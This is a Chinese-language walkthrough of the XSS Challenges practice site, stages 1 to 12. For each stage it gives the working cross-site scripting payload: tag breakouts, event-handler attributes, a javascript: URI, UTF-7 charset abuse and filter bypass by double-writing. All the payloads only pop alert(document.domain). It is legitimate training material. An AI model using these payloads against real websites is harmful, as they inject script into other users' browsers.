题目地址:https://xss-quiz.int21h.jp/

Stage #1

Hint: Very simple…

直接输入测试语句:

<sCript>alert(document.domain);</Script>

Stage #2

Hint: Close the current tag and add SCRIPT tag…

地址:XSS Challenges (by yamagata21) - Stage #2 (int21h.jp)

上测试语句:

<sCript>alert(document.domain);</Script>

然后审查元素,只需要把input标签闭合就能执行我们的语句了。

"><sCript>alert(document.domain);</Script>

Stage #3

Hint: The input in text box is properly escaped.

地址:XSS Challenges (by yamagata21) - Stage #3 (int21h.jp)

这个页面有两个input标签,先在搜索框输入我们的测试语句试试。

直接把我们的语句放到<b>标签里了,但是这旁边不是还有一个input标签吗。把两者的name互换一下即可。

Stage #4

Hint: Invisible input field.

地址:XSS Challenges (by yamagata21) - Stage #4 (int21h.jp)

审查元素发现有三个input标签,第三个标签的属性是hidden,把它改为text,然后把input标签闭合。

"><sCript>alert(document.domain);</Script>

Stage #5

Hint: Length limited text box.

地址:XSS Challenges (by yamagata21) - Stage #5 (int21h.jp)

审查元素,发现搜索框的长度被限制,修改maxlength的值即可。

"><sCript>alert(document.domain);</Script>

Stage #6

Hint: Event handler attributes.

地址:XSS Challenges (by yamagata21) - Stage #6 (int21h.jp)

输入测试语句:

"><sCript>alert(document.domain);</Script>

发现尖括号和斜杠被转义了,那我们就使用不带尖括号的语句。

'" onm="alert(document.domain);"'

Stage #7

Hint:Nearly the same… but a bit more tricky.

地址:XSS Challenges (by yamagata21) - Stage #7 (int21h.jp)

审查元素,发现Hint元素旁边有一个隐藏的输入框,将其属性修改为text,并将value设置如下:

‘”onmouseover="alert(document.domain);"'

Stage #8

Hint:the ‘javascript’ scheme.

地址:XSS Challenges (by yamagata21) - Stage #8 (int21h.jp)

测试一下:

"><ScrIpt>alert(document.domain)</ScrIpt>

语句传到了下面的跳转链接:

<a href="&quot;><ScrIpt>alert(document.domain)</ScrIpt>" class="link-instanted">"&gt;&lt;ScrIpt&gt;alert(document.domain)&lt;/ScrIpt&gt;</a>

根据提示考虑通过javascript:伪协议方式构造XSS

javascript:alert(document.domain)

Stage #9

Hint:UTF-7 XSS

地址:XSS Challenges (by yamagata21) - Stage #9 (int21h.jp)

若在Content-Type中未设置charset,在meta标签中也未设置字符集,就能通过字符集抢占的方式使浏览器以UTF-7格式解析。

UTF-7在线编码:Novel Tools - UTF-7 Text Encoder

再通过控制台将name=charset的值设为utf-7即可。

Stage #10

Hint:s/domain//g;

地址:XSS Challenges (by yamagata21) - Stage #10 (int21h.jp)

测试:

"><sCripT>alert(document.domain)<sCripT>

发现domain被过滤,尝试双写:

"><sCripT>alert(document.domdomainain)<sCripT>

Stage #11

Hint:

URL错误,暂时访问不到。

Stage #12

Hint:“s/[\x00-\x20<>"']//g;”

IE下使用如下语句:

`onmouseover=alert(document.domain);

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。